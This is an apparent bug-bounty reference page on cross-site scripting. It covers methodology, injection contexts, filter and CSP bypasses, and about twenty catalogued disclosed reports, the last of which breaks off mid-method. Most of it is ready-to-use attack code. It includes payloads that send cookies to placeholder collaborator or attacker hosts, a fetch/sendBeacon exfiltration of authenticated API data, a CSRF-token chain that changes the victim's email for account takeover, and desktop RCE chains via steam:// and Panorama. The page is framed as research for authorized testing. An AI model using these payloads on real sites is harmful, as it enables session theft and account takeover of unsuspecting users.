⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Cross-Site Scripting (XSS)
Vulnerabilities

Cross-Site Scripting (XSS)

§Basic information

Cross-Site Scripting (XSS) happens when attacker-controlled input is returned to a browser and interpreted as markup or JavaScript in the target's origin, instead of inert data. Once your JS runs in the origin it can read the DOM, exfiltrate cookies and CSRF tokens, call the site's own API as the victim, and drive state-changing actions — so XSS is best treated as an account-takeover primitive, not a popup.

The whole game is context. The same string is harmless in one place and a full breakout in another; where your input lands (raw HTML, an attribute, a JS string, a URL, a template) decides which characters you need and which payload fires. Three delivery types: reflected (echoed in the immediate response), stored (persisted and served to others — often to an admin, i.e. blind XSS), and DOM (a client-side sink processes attacker-controlled source without the server ever seeing the payload).

§Methodology

  1. Map inputs → outputs. For every parameter, header, path segment, cookie, and JSON/GraphQL field, find where it is reflected or stored and rendered back.
  2. Fire a canary — a unique, mostly-inert marker — and grep the response to see where it lands and which characters survive encoding.
  3. Identify the context from the reflection (raw HTML / attribute / JS / URL / CSS / template).
  4. Craft the minimal breakout for that context; confirm with alert(document.domain) (never bare alert(1) cross-origin — prove the origin).
  5. Weaponize — replace the PoC with the impact payload (cookie theft, or a self-driving request chain to change the victim's email/password).
  6. For stored/blind, plant an out-of-band canary and wait for the callback from wherever it renders (admin panel, support tool, logs viewer).
# Canary — send this, then see what comes back un-encoded kZ9x"'<>/\{{7*7}} # If {{7*7}} -> 49, you're in a template engine (SSTI), not XSS — pivot.

§Injection contexts

Find which of these your input lands in, then use the matching breakout.

Inside raw HTML

Tags are not encoded — inject an element carrying an event handler; you rarely need <script>.

"><img src=x onerror=alert(document.domain)> <svg onload=alert(document.domain)> <details open ontoggle=alert(document.domain)>

Inside HTML attribute

Break out of the quoted value; if quotes are filtered, add a new attribute/handler in place.

"><img src=x onerror=alert(1)> " autofocus onfocus=alert(1) x=" ' accesskey='X' onclick='alert(1) <!-- when only single quotes are allowed -->

Inside JavaScript

You're reflected inside a <script> block or a JS string. If the quotes are not encoded, close the string/statement (or just close the script block):

';alert(document.domain)// '-alert(document.domain)-' </script><img src=x onerror=alert(1)>
● NOTE
Inside a raw <script>, HTML entities are not decoded — so HTML-encoding the quotes does stop a naive breakout here. The classic bypass applies when the encoded value is later read by JS and written to the DOM (innerHTML): JS-unicode/hex escapes survive the HTML encoder and reconstitute at the JS parser (#979204).
// You're inside a JS string the server HTML-encodes, but the value is later read // into innerHTML. HTML-encoding leaves \uXXXX alone; JS decodes it at the sink. // Send the ESCAPED form as the parameter value: \u003cimg src=x onerror=alert(1)\u003e // the JS parser decodes the string literal to: // <img src=x onerror=alert(1)> -> innerHTML -> fires

javascript: URI sinks

If input becomes an href/src/window.location, a javascript: scheme is code execution. React does not sanitize href — a user-controlled javascript: URL still executes (React only logs a dev-mode warning) — so hunt href/src/location built from user input.

javascript:alert(document.domain) https://TARGET/login?next=javascript:alert(document.domain)

DOM-based

The server never sees the payload; a client sink reads an attacker-controlled source and writes it to a dangerous sink. Trace source→sink in the JS.

Sources (attacker-controlled)Dangerous sinks
location.hash / location.searchinnerHTML / outerHTML
document.referrerdocument.write / insertAdjacentHTML
postMessage event.dataeval / setTimeout / Function
localStorageelement.src / setAttribute / location
https://TARGET/#<img src=x onerror=alert(1)> # hash written to an innerHTML sink

§Blind / stored XSS

Fields rendered later in a context you can't see (support chat, admin dashboards, invoice PDFs, log viewers). Attacker-controlled filenames, usernames, and imported/3rd-party data (markdown, GitHub labels) are reliable vectors.

"><img src=1 onerror="new Image().src='https://COLLAB/?c='+encodeURIComponent(document.cookie)">
▸ TIP
Always identify the context with the canary before firing payloads. Encoding applied at the wrong layer (HTML-encode a value that is later parsed as JS) is why many "encoded" reflections are still exploitable.

§Impact payloads

alert(1) proves execution; it does not prove impact. Escalate to something a triager will pay for:

// 1. Non-HttpOnly cookie -> steal the session new Image().src = 'https://COLLAB/?c=' + encodeURIComponent(document.cookie);
// 2. Exfiltrate an authenticated API response as the victim fetch('/api/me', {credentials: 'include'}) .then(r => r.text()) .then(d => navigator.sendBeacon('https://COLLAB/', d));
// 3. HttpOnly session? Act in-session: use the site's own CSRF token to // change the victim's email, then trigger a password reset -> account takeover fetch('/account/csrf', {credentials: 'include'}) .then(r => r.json()) .then(({token}) => fetch('/account/email', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token}, body: JSON.stringify({email: 'attacker@evil.com'}) }));

§Bypasses

Filter / controlBypassSeen in
HTML-encoder, JS sink< / \x3c JS-unicode escapes decode at the JS parser, not the HTML layer#979204
Email HTML/CSS sanitizerbackslash-encoded u\rl() slips the CSS url() filter#982291
javascript: strippedpivot to a custom URI scheme (steam://…) or an OEMBED-whitelisted embed#409850
<script> blockedevent handlers (onerror/onload/ontoggle), <svg>, String.fromCharCode#487081
CSP script-src allowlistJSONP/Angular gadget on a whitelisted CDN (Google reCAPTCHA) + nonce theft#2279346
Markdown sanitizer<base href> hijacks relative script srcs; language-attr confusion#1481207
postMessage origin checkprefix/indexOf check bypassed via window.open; structured-clone File bypasses hasOwnProperty escaping#900619
WAF quote-in-tagcache-poison a reflected cookie into a JS variable with no quotes#1760213
Upload MIME filterunknown extension → browser MIME-sniffs the response to HTML#84601
Fullwidth normalizationfullwidth <script> is normalized to ASCII <script> after the filter#639684
▲ WARNING
A self-XSS (only you can trigger it, e.g. in your own settings) is not a finding on its own. It becomes real only with a delivery vector — cookie injection from a sibling subdomain, JSON/CSRF that writes the stored field, or cache poisoning. Report it with the delivery or it closes as informative.

§Escalation & impact

Full payload arsenal & CSP-bypass gadgets

Event-handler brute-force list (on*), polyglots, SVG <animate>, mutation-XSS (mXSS) via DOM reparse, DOM-clobbering, iframe srcdoc, and the CSP-bypass gadget catalogue (whitelisted JSONP endpoints, Angular/ng- sandboxes, base-uri gaps, nonce reuse). See the XSS payload library for the copy-paste set.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 936 in this class.

Real-world example

Game UI HTML/JS injection (Panorama html=true) -> desktop RCE

◆ Critical
Specimen #631956 · valve · awarded · 417 votes · resolved
Program valveSurface desktopChain Server kick message -> Panorama HTML injection -> onmo

Root cause

CS:GO's Panorama UI renders certain fields with html=true; a server-controlled kick/disconnect message is rendered as raw HTML, and an onmouseover handler can call privileged Panorama JS APIs (SteamOverlayAPI.OpenExternalBrowserURL) to launch local executables.

Method

  1. Grep extracted Panorama layout files for html="true" to find injectable sinks (popup_generic.xml)
  2. Confirm HTML render via an <img src> in a custom disconnect message
  3. Deliver via a dedicated-server SourceMod KickClient() (no length limit) an <a onmouseover> payload
  4. Victim mouses over the centered kick text -> Panorama JS runs -> launch file://calc.exe
sm_testkick <a onmouseover="javascript:SteamOverlayAPI.OpenExternalBrowserURL('file://C:/Windows/System32/calc.exe')">The remote host stopped receiving communications and closed the connection</a>

Insight — Any 'rich text'/HTML-capable UI (game overlays, chat, notifications) is an XSS-to-RCE surface if the framework exposes native JS APIs. Enumerate which fields render raw HTML, then reach a privileged API from an event handler; server-side send functions (kick messages) make it remote.

Real-world example

javascript: URI via bbcode [url] in React chat, escalated to RCE

◆ Critical
Specimen #409850 · valve · 7500 · 493 votes · resolved
Program valveSurface desktopChain XSS -> custom protocol handler -> RCE

Root cause

React does not sanitize href attributes, so a bbcode [url] tag mapped to <a href> allows a javascript: (and custom-scheme) URI; in an embedded browser this chains to native protocol handlers for RCE.

Method

  1. Send chat messages and use DevTools breakpoints on dangerouslySetInnerHTML/innerHTML, stepping back the call stack to the sanitizer
  2. Enumerate accepted bbcode tags; find [url=...] allows arbitrary URLs incl. javascript:
  3. When javascript: is stripped by the custom client, pivot to custom URI schemes (steam://)
  4. Discover steam://openexternalforpid/<pid>/cmd.exe launches arbitrary processes -> RCE
  5. Alternatively abuse OEMBED whitelist via codepen.io (JS-injection-as-a-service) to run JS in the privileged embed
[url=javascript:alert(1)]click[/url] steam://openexternalforpid/10400/cmd.exe OEMBED via whitelisted codepen.io embed to reach window/Electron APIs

Insight — In React apps, hunt href/src/location sinks built from user input (javascript: not mitigated by React). In desktop/Electron/CEF wrappers, escalate XSS to RCE via custom protocol handlers and OEMBED-whitelisted JS sandboxes.

Real-world example

Blind stored XSS via unsanitized upload filename, fires in support/admin panel

◆ Critical
Specimen #1010466 · cs_money · 1000 · 445 votes · resolved
Program cs_moneySurface webChain CSRF file upload -> blind stored XSS in support agent sesTag file-upload

Root cause

The filename of an uploaded file is stored and later rendered unescaped in an internal support-chat/admin view; a filename-borne payload becomes blind stored XSS in the operator's browser.

Method

  1. Upload a file to support chat via Burp
  2. Rename the file (filename param) to an HTML/JS payload
  3. Payload executes when a support agent opens the chat
  4. (chainable) upload endpoint lacked CSRF token/origin check, letting the file be planted cross-site
"><img src=1 onerror="url='https://attacker/?'+encodeURIComponent(document.cookie);x=new XMLHttpRequest();x.open('GET',url);x.send()">

Insight — Filenames are a classic overlooked stored-XSS sink because they surface in admin/support tooling that is rarely sanitized. Plant XSS-Hunter-style blind payloads in filename, display-name, and free-text 'instructions' fields that only staff render.

Real-world example

HTML/CSS sanitizer bypass in email via backslash-encoded url() -> form injection

◆ Critical
Specimen #982291 · basecamp · 5000 · 359 votes · resolved
Program basecampSurface webChain sanitizer bypass -> form injection -> CSRF-with-token

Root cause

The email HTML sanitizer mis-parses CSS: backslash numeric escapes inside a style url() are decoded after filtering, letting attacker escape the shadow-DOM message container and inject an opening <form>; a JS framework (Stimulus) then auto-submits it with the app's CSRF token.

Method

  1. Send raw text/html email (sendmail -t) with a <style> using url(cid://...) full of backslash escapes
  2. \000027 confuses the filter; encoded <message-content>/<template> escape the shadow root
  3. Inject <form action=... data-controller=beacon> with hidden inputs
  4. Stimulus auto-submits the form with a framework-inserted CSRF token
<style> url(cid://\00003c\000027message-content\00003e\00003ctemplate\00003e\00003cstyle\00003exxx); url(cid://\00003c/style\00003e...\00003cform\000020action=/my/accounts/ID/forwardings/outbounds\000020data-controller=beacon\00003e\00003cinput\000020name=contact_outbound_forwarding[to_email_address]\000020value=attacker@x\00003e\00003c/form\00003exxx); </style>

Insight — Against HTML/CSS email sanitizers, probe CSS-escape decoding (\00003c == <) that happens after sanitization. Even without <script> (CSP), injecting a lone <form> and abusing the app's own JS framework controllers (Stimulus/Turbo) to auto-submit lets you perform CSRF-token-bearing state changes.

Real-world example

Stored XSS in private messages via iframe src=javascript: + fromCharCode eval

◆ Critical
Specimen #487081 · wordpress · awarded · 337 votes · resolved
Program wordpressSurface webChain stored XSS -> admin reads message -> account/role take

Root cause

BuddyPress private messages render user HTML, allowing <iframe src=javascript:...>; spaces/quotes in the payload are avoided with eval(String.fromCharCode(...)) so full admin-context actions run when the recipient reads the message.

Method

  1. Send a private message containing an iframe javascript: payload
  2. For complex JS, encode as char codes and eval to avoid spaces/quotes
  3. When an admin reads it, the JS performs privileged wp-admin actions (change role, edit settings)
<iframe src=javascript:eval(String.fromCharCode.apply(null,[/* JS bytes */])) width=0 height=0 style=display:none;></iframe>

Insight — In-app messaging that renders HTML is prime stored XSS; hidden 0x0 iframes keep it stealthy in inbox previews. When the sink forbids spaces/quotes, String.fromCharCode+eval carries arbitrarily complex JS (self-propagating worm, privilege escalation via admin-read).

Real-world example

Stored XSS via reference-filter string interpolation + upload-filename smuggling

◆ Critical
Specimen #1212067 · gitlab · 16000 · 316 votes · resolved
Program gitlabSurface webChain upload-filename injection -> attribute injection -> st

Root cause

The markdown design-reference filter builds an <a> tag by string-interpolating a url derived from a design filename; uploading a design with quotes in the filename (Content-Disposition filename* to skip Workhorse sanitization) breaks out and, chained with ReferenceRedactor's data-original, injects arbitrary HTML with a CSP bypass.

Method

  1. Upload a design, changing Content-Disposition to filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png to allow quotes
  2. Reference the design in markdown so the filter interpolates the quoted filename into href
  3. Add data-original with html-encoded <script> to trigger ReferenceRedactor rebuild
  4. CSP bypass via apis.google.com jsonp callback=setTimeout
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png <a href='.../designs/bbb%22class%3D%22gfm%22a%3D%27.png'>' data-design="1" data-issue="1" data-reference-type="design" data-original="&lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>"</a>

Insight — Look for server-side HTML built by string interpolation of any user-controllable token (here a filename). Filenames can carry quotes if you bypass the upload sanitizer via RFC5987 filename* / Content-Disposition tricks. Google's apis.google.com jsonp endpoint with callback=setTimeout is a reusable CSP bypass when googleapis is script-src-allowed.

Real-world example

OIDC form_post response_mode: unsanitized state param -> HTML injection/XSS -> access-token theft

◆ Critical
Specimen #2515808 · toolsforhumanity · awarded · 104 votes · resolved
Program toolsforhumanitySurface webChain state HTML injection in form_post -> retarget token-beariTag oauthTag account-takeover

Root cause

With OIDC response_mode=form_post, the provider reflects the client-supplied state into an auto-submitting HTML form containing the access token; insufficient filtering of state allowed HTML/attribute injection into that form (XSS was CSP-mitigated, but HTML injection alone leaks the token).

Method

  1. Initiate a World ID OIDC flow with response_mode=form_post
  2. Put HTML into the state parameter (which is reflected into the form_post response body)
  3. Inject a button/form whose action points to attacker; the access token in the form is submitted along with it
  4. Victim interaction submits the token to the attacker (XSS blocked by CSP, HTML injection still exfiltrates)
state=<injected HTML button/form pointing action to attacker; access_token present in the same form is sent on click>

Insight — OIDC response_mode=form_post renders parameters (state) into an HTML page that also carries the access_token - treat the whole form_post response as an XSS/HTML-injection sink. Even when CSP blocks script execution, HTML injection (a button/form retargeting the submit action) still exfiltrates the token in the form body. Always test state/nonce reflection in form_post.

Real-world example

CSP whitelist bypass via double-encoded path traversal on trusted CDN

◆ Critical
Specimen #781265 · h1-ctf · none · 99 votes · resolved
Program h1-ctfSurface webChain ATO -> CSP bypass XSS -> IDOR -> headless-chrome deTag account-takeover

Root cause

A CSP script-src allowlist trusts a CDN host (raw.githack.com). Path traversal, double-URL-encoded to survive the CDN's own normalization, lets an attacker load an arbitrary attacker-controlled JS file that still appears to originate from the allowlisted host.

Method

  1. Identify a CDN host allowlisted in the target CSP (e.g. raw.githack.com)
  2. Host your JS under an attacker repo on that CDN
  3. Reach it from a trusted library URL using double-encoded traversal (..%252f) so the browser sees the allowlisted prefix but the CDN resolves to your file
  4. Inject the <script src> via a reflected sink (chat message)
https://h1-415.h1ctf.com/support/chat?message=%3Cscript%20src=%22https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fInvaders0/xss/<hash>/as.js%22%3E%3C/script%3E

Insight — When CSP whitelists a user-content CDN, test path-traversal off a trusted file path using double URL encoding to pull your own script under the trusted origin. Also chain: CTF combined account-takeover email trick + IDOR review-name update + headless-chrome remote debugging.

Real-world example

Mutation-based stored XSS bypassing DOMPurify via MathML (Trix)

◆ Critical
Specimen #2819573 · basecamp · awarded · 84 votes · resolved
Program basecampSurface webChain Paste payload -> sanitizer bypass -> stored XSS ->

Root cause

The Trix rich-text editor sanitizes attachment HTML, but a mutation-XSS vector (MathML mtext + mglyph + style wrapping an img onerror) is reparsed by the browser after sanitization into an executing tag, bypassing the sanitizer on copy-paste.

Method

  1. Craft an HTML doc containing the mutation-XSS payload inside a data-trix-attachment content blob
  2. Copy the marked text from that page
  3. Paste into a Trix editor (2.1.8); the browser's re-parse mutates the nested MathML/table/style into a live img onerror -> alert()
copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me <!-- decoded mutation vector: --> <math><mtext><table><mglyph><style><img src=x onerror=alert()></style>

Insight — Against sanitizer-protected rich-text editors, reach for mutation XSS: MathML/SVG foreign-content elements (mglyph, annotation-xml) + <style>/<table> confuse the parser so post-sanitize DOM reparse yields an executing node. Test the copy-paste path specifically, not just typed input. Re-check on every DOMPurify/editor version bump.

Real-world example

Asset poisoning + DOM XSS via hash-addressed renderer input (Graphie)

◆ Critical
Specimen #2846011 · khanacademy · none · 83 votes · resolved
Program khanacademySurface webChain Re-upload asset with same JS hash -> poisoned SVG/JSON se

Root cause

A legacy conversion API stores graphie assets addressed by a hash of only the JS component; an attacker re-uploads the same JS with malicious SVG (onload) and JSON, keeping the hash/URL, so the poisoned asset is served from CDN and the client-side graphie renderer injects an attacker JSON label (typesetAsMath:false) into the DOM on any page using that graphie.

Method

  1. Take an existing graphie asset URL (hash = hash of its JS)
  2. POST the original JS plus malicious svg and JSON (label content <script>, typesetAsMath:false) to the graphie-to-png upload endpoint
  3. Because the hash is unchanged, the CDN URL now serves your payload; pages rendering that graphie (khanacademy.org) execute it via SVG onload and the renderer's DOM injection
var form = new FormData(); form.append('js', ORIGINAL_JS); form.append('svg', '<svg ... onload="alert(1)">...</svg>'); form.append('other_data', JSON.stringify({labels:[{content:'<script>alert(1)</script>',typesetAsMath:false}]})); await fetch('http://graphie-to-png.kasandbox.org/svg',{method:'POST',body:form});

Insight — When a cache/CDN key is a hash of only part of the content (here just the JS, not the SVG/JSON), you can override a trusted asset without changing its URL — content-addressing is only safe if the hash covers everything that renders. Combine with a client renderer that injects data into the DOM (label content with typesetAsMath:false) for stored DOM XSS across every consumer.

Real-world example

Cross-privilege stored XSS via account/company settings fields

◆ Critical
Specimen #503298 · x · USD 700 · 73 votes · resolved
Program xSurface webChain stored XSS in org settings -> admin session hijack -> Tag account-takeover

Root cause

Multiple account/company settings fields (company name, currency, etc.) are stored unescaped and rendered across settings/report views for other users in the same organization, so a low-priv member and an admin can XSS each other (vice-versa).

Method

  1. As a member, inject payload into company name or currency in account settings
  2. Payload is stored and shown to other org users on reports/settings/edit-user pages
  3. When an admin (or member) opens those pages, XSS fires in their session
  4. Hijack the victim's session
"'><img src=x onerror=alert(document.domain)> // injected into currency / company name fields

Insight — Multi-tenant/org settings that render one user's input into another user's views are stored-XSS with built-in privilege escalation: test member->admin and admin->member. Enumerate every settings field (currency, company info, invoice/branding fields) since a partial 'broad fix' often misses siblings sharing the same sink.

Real-world example

Stored XSS via REST API message attachment field

◆ Critical
Specimen #219957 · rocket_chat · none · 73 votes · resolved
Program rocket_chatSurface api

Root cause

chat.postMessage attachment fields are rendered unsanitized in the message viewer: when an attachment has image_url set, the first field's value is emitted into HTML, allowing tag injection when < is the leading character.

Method

  1. Login to the REST API for an auth token/user id
  2. POST chat.postMessage with an attachment whose image_url is set
  3. Put an <img ... onload=...> payload as the first field's value (must start with <)
  4. Any user viewing the message executes the script
curl -H "X-Auth-Token: <T>" -H "X-User-Id: <U>" http://target/api/v1/chat.postMessage -d "channel=<CH>&attachments[0][image_url]=/assets/logo&attachments[0][fields][0][title]=&attachments[0][fields][0][value]=<img src=/assets/logo width=1 height=1 onload=alert('XSS') />Pwned"

Insight — Rich message objects (attachments, blocks, embeds, cards) sent via API often have per-field rendering rules the web composer never exposes; drive them directly with the REST API. Fields gated on a sibling property (here: rendered only when image_url is set) and leading-character rules (< must be first) are classic under-sanitized API sinks.

Real-world example

ReaderMode XSS via meta author + CSP nonce template placeholder

◆ Critical
Specimen #1436142 · brave · awarded · 72 votes · resolved
Program braveSurface mobile-iosChain XSS on privileged reader origin -> steal uuidkey -> acTag account-takeover

Root cause

Brave iOS ReaderMode builds a local page from a template where %READER-CREDITS% is filled from the page's <meta name=author> without HTML-escaping, and CSP was relaxed to allow scripts carrying nonce=%READER-TITLE-NONCE%; the template later substitutes the real nonce, so an attacker-supplied <script nonce=%READER-TITLE-NONCE%> becomes CSP-valid and executes on the privileged localhost reader origin.

Method

  1. Host a page whose <meta name="author"> content contains an HTML-escaped script tag using the nonce placeholder token.
  2. Victim opens the page and taps Reader mode.
  3. Template inserts author value unescaped into %READER-CREDITS% and replaces %READER-TITLE-NONCE% with the real nonce, so the script is CSP-allowed and runs on http://localhost:6571 reader origin.
  4. From that origin iframe/read cross-origin reader pages and steal the uuidkey to reach privileged pages.
<meta name="author" content="Evil &lt;script nonce=%READER-TITLE-NONCE%&gt;alert(document.location);&lt;/script&gt;!--">

Insight — When a client feature (reader/AMP/translate view) rehydrates a template and blindly injects page metadata, look for CSP nonce/placeholder tokens the template fills in later; supplying the literal placeholder yields a valid-nonce script and bypasses CSP.

Real-world example

Blind stored XSS via registration name field firing in back-office admin panel

◆ Critical
Specimen #251224 · grab · USD 750 · 50 votes · resolved
Program grabSurface webChain blind stored XSS via user-supplied name -> admin panel co

Root cause

A user-controlled name field (registration/parcel) is stored and later rendered unescaped in an internal admin/staff dashboard (third-party detrack panel), where the blind payload executes.

Method

  1. Register/submit with your name set to a blind-XSS payload that beacons to your collaborator
  2. Wait for a staff member to open the admin user/order list
  3. Payload fires in the admin context, exfiltrating the panel
"><script src=https://COLLAB/x.js></script>

Insight — Seed every free-text profile/order field (name, address, company) with a blind-XSS callback (XSS Hunter style); the payload often detonates in an internal admin/support console you can't see. Also check third-party fulfillment/logistics dashboards.

Real-world example

Rocket.Chat AutoLinker+Markdown parser-confusion stored XSS to account takeover

◆ Critical
Specimen #735638 · rocket_chat · none · 41 votes · resolved
Program rocket_chatSurface webChain Stored XSS -> steal Meteor.loginToken from localStorage -Tag account-takeover

Root cause

Chaining Markdown link syntax with AutoLinker tricks the message parser into breaking out of an HTML attribute, injecting an <a> with an onanimationiteration handler; a CSS animation auto-fires the handler (no user click), giving stored XSS.

Method

  1. Post a crafted message combining a Markdown link and AutoLinker to break out of the href attribute
  2. Inject style=animation... onanimationiteration=<JS> so the payload auto-triggers on animation
  3. In the handler, redefine Symbol.hasInstance=eval and use 'code'instanceof[] to eval a string (bypass CSP/quote filters)
  4. Steal localStorage 'Meteor.loginToken', authenticate to the websocket, call insertOrUpdateUser to self-grant admin
https://a?p=[ ](https:// style=animation-duration:1s;animation-name:blink;animation-iteration-count:2 onanimationiteration=Array.prototype[Symbol.hasInstance]=eval,'alert\x28\x27XSS\x27\x29;'instanceof[] target=_blank data-x=`.`)

Insight — Two independent 'safe' text transformers (Markdown + AutoLinker) composed can re-open HTML attribute context - test parser chains, not just one parser. animation + onanimationiteration is a click-less auto-trigger. Symbol.hasInstance=eval + 'str'instanceof[] runs a string as code without eval() literals or parentheses.

Real-world example

Blind stored XSS caught on admin backend via OOB (XSSHunter) callback

◆ Critical
Specimen #1051369 · deptofdefense · none · 33 votes · resolved
Program deptofdefenseSurface webChain blind stored XSS -> admin session/DB-cred capture on inteTag account-takeover

Root cause

User-submitted data (form/contact fields) is stored and later rendered unsanitized in an internal admin/backend panel that the attacker cannot see; a blind XSS payload with an out-of-band callback fires when staff view it, exfiltrating cookies, DOM, and screenshots.

Method

  1. Seed blind-XSS payloads (XSSHunter/self-hosted collector) into every field an operator might later view: names, addresses, user-agents, support tickets, contact forms
  2. Wait for the OOB callback when an admin opens the backend record
  3. Use the captured cookies/DOM/screenshot to assess and demonstrate impact
"><script src=https://YOURID.xss.ht></script> # collector reports victim URL, admin IP, User-Agent, cookies, and a DOM screenshot

Insight — For fields whose output you never see (support, admin review, logs, analytics dashboards), use blind-XSS beacons rather than reflected probes. The callback proves execution and yields the internal admin context — often the highest-impact XSS on a target.

Real-world example

DOM XSS via postMessage abusing autolink() attribute injection

◆ Critical
Specimen #1758132 · khanacademy · none · 33 votes · resolved
Program khanacademySurface webChain malicious page -> postMessage -> autolink attribute inTag account-takeover

Root cause

A message handler with a weak origin check passes attacker JSON to autolink(), which builds an <a href="URL"> by string concatenation; a URL containing a quote injects extra attributes (style + onmouseover), producing DOM XSS driven entirely by postMessage.

Method

  1. Open the target challenge/iframe page from an attacker window
  2. postMessage the expected results JSON but with a test 'msg' whose URL contains a quote to break out of href and add attributes
  3. Autolink emits <a href="http://#/" style=... onmouseover=...> and the handler fires
http://#/"style="width:2000px;height:2000px;position:fixed;top:0;left:0;z-index:200;"onmouseover="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"

Insight — URL-to-anchor builders that concatenate instead of encoding the href are attribute-injection sinks: a " in the URL adds arbitrary attributes/handlers. Combine with a postMessage handler that lacks a strict event.origin allowlist for a remote, no-reflection DOM XSS. A full-viewport fixed element makes onmouseover fire on any movement.

Real-world example

CSP whitelisted-path bypass via double-encoded traversal on a proxy + headless-Chrome debugger SSRF

◆ Critical
Specimen #780285 · h1-ctf · none · 17 votes · resolved
Program h1-ctfSurface webChain email-regex sanitization ATO -> HTML injection to supportTag account-takeover

Root cause

A CSP script-src that whitelists a full URL path on a Github proxy (raw.githack.com/.../lib/) can be escaped with a URL-encoded path traversal: Chrome refuses to decode %2f as '/', so the path looks in-scope to the CSP parser while the origin server decodes it and serves attacker-hosted JS.

Method

  1. Confirm the CSP whitelists a specific proxy path for scripts.
  2. Host attacker JS in your own Github repo (served via the same proxy).
  3. Reference it with %2f-encoded traversal so Chrome's CSP check passes but the proxy resolves the traversal.
  4. In the injected JS read window.location to recover the internal review URL, then browse the headless-Chrome debugger on localhost:9222 (via an injected iframe) to read other open tabs and leak secret URLs.
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fATTACKER/repo/master/x.js"></script> // inside x.js, pivot to the headless-Chrome DevTools endpoint: document.write("<iframe src='http://localhost:9222/json' width=900 height=1000></iframe>");

Insight — CSP path whitelists on proxy/CDN domains are bypassable when the browser and origin disagree on URL normalization (%2f). Any headless Chrome used for PDF/screenshot/preview generation likely exposes DevTools on :9222 - an internal SSRF/secret-leak primitive.

Real-world example

Stored XSS via API message-attachment field rendered as verbatim HTML

◆ Critical
Specimen #899954 · rocket_chat · none · 16 votes · resolved
Program rocket_chatSurface apiChain stored XSS -> admin cookie theft/privilege escalation -&gTag account-takeover

Root cause

When no custom renderer matches a message attachment field type, the client renders field.value as raw HTML ('consider the value already formatted as html'), so an attacker posting an attachment via the REST API stores XSS for all channel members.

Method

  1. Obtain a Personal Access Token
  2. Create a channel and lure admins into it
  3. POST a message via /api/v1/chat.postMessage whose attachment field.value contains an <img onerror> payload
  4. XSS fires in every viewer, including admins
curl -H "X-Auth-Token: T" -H "X-User-Id: U" -H "Content-type:application/json" https://server/api/v1/chat.postMessage -d '{"channel":"#cookies","attachments":[{"fields":[{"type":"x","title":"pwn","value":"test<img src=x onerror=alert(document.cookie)/>","short":false}]}]}'

Insight — Rich-message/attachment/embed fields that fall back to rendering user 'value' as HTML are prime stored-XSS sinks; drive them via the API (not just the UI). In Electron-based desktop clients such XSS escalates to RCE, and chat XSS is wormable.

Real-world example

Stored XSS via unescaped user-controlled name/label/metadata fields

◆ Critical
Specimen #1532858 · omise · USD 200 · 13 votes · resolved
Program omiseSurface webChain Shared/rendered to admins -> session/cookie theft -> aTag account-takeover

Root cause

Text fields the user controls (export-metadata labels, contact/customer names, network names, map-object names, registration first/last name) are stored and later rendered into HTML without output encoding, so the payload fires wherever the value is echoed (often a different page than where it was entered).

Method

  1. Find a free-text field whose value is echoed elsewhere (settings labels, names, titles, descriptions).
  2. Store a breakout payload in the field and save.
  3. Trigger the render surface (reload, re-login, open dashboard/profile, or share the object) to fire the XSS.
<script>alert(document.cookie)</script> "><img src=x onerror=prompt(document.cookie)> <svg/onload=confirm(document.cookie)>

Insight — Any persisted text field is a stored-XSS candidate; the sink is usually a *different* view (dashboard load, profile page, shared object, downstream export) than the input form. Enter payloads everywhere and then walk every page that renders that data. Fields that get shared to other/higher-priv users turn low-priv input into ATO.

Real-world example

Blind stored XSS in profile fields -> admin ATO (XSS Hunter)

◆ Critical
Specimen #1110243 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface webChain Low-priv stored XSS -> admin views back-office -> cookTag account-takeover

Root cause

Profile fields (first name, last name, company, title) store HTML unsanitized and render in an admin-side view; a blind XSS canary fires in the admin browser and exfiltrates cookies/DOM.

Method

  1. Enter an image/script blind-XSS canary into profile first/last/company/title
  2. Wait for an admin to view the profile in the back-office
  3. Receive XSS Hunter fire with admin cookies, IP, DOM screenshot; reuse cookies for admin panel access
"><img src="https://YOUR.xss.ht/index.html?c=canary" />

Insight — Seed every stored profile/support field with a blind-XSS canary (XSS Hunter / your collab). Admin-facing back-office renderers are frequently unsanitized -> stolen admin session = account takeover. Low-priv input, high-priv execution.

Real-world example

Reflected XSS via unsanitized GET parameter (HTML context)

◆ Critical
Specimen #235866 · mapsmarker_com_e_u · awarded · 6 votes · resolved
Program mapsmarker_com_e_uSurface web

Root cause

A GET parameter (e.g. dir) is reflected directly into the HTML body without encoding, allowing tag injection.

Method

  1. Enumerate reflected GET params (dir, source, section, q ...)
  2. Inject an event-handler tag payload
  3. Confirm execution
https://TARGET/updates-pro/archive/?dir=v3.0.1<svG onLoad=prompt(1)>

Insight — The bread-and-butter reflected XSS: spray a canary through every GET param, grep responses for the reflection, then fit the payload to context. Mixed-case tags (svG/onLoad) sometimes slip weak regex filters.

Real-world example

HTML sanitizer that parses into the live DOM executes payloads before cleaning

◆ Critical
Specimen #308155 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

html-janitor's clean() builds its 'sandbox' with document.createElement('div') and assigns sandbox.innerHTML = dirtyHtml. Assigning innerHTML on a live, in-document-capable element loads resources and fires inline handlers (img onerror) at parse time, so the sanitizer itself triggers the XSS it is meant to prevent.

Method

  1. Feed attacker HTML to the sanitizer's clean() entry point
  2. innerHTML assignment parses <img src onerror=...> and immediately fires onerror before any whitelist filtering runs
